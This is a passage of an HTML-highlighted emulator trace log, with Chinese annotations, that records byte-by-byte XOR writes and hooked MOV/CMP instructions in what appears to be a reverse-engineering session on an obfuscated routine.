class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x20</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010003b0: mov esi, <span class="number">0</span>xb</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010003b5: mov esi, <span class="number">0</span>xae4c415d</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010003e1: cmp esi, <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10003db]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2B</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010006e1: mov esi, <span class="number">0</span>xd</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010006fb: cmp esi, <span class="number">0</span>x1b</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10006f5]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x50</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010005f9: mov esi, <span class="number">0</span>x12</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000613: cmp esi, <span class="number">0</span>x25</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100060d]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x32</span><br><span class="line"><span 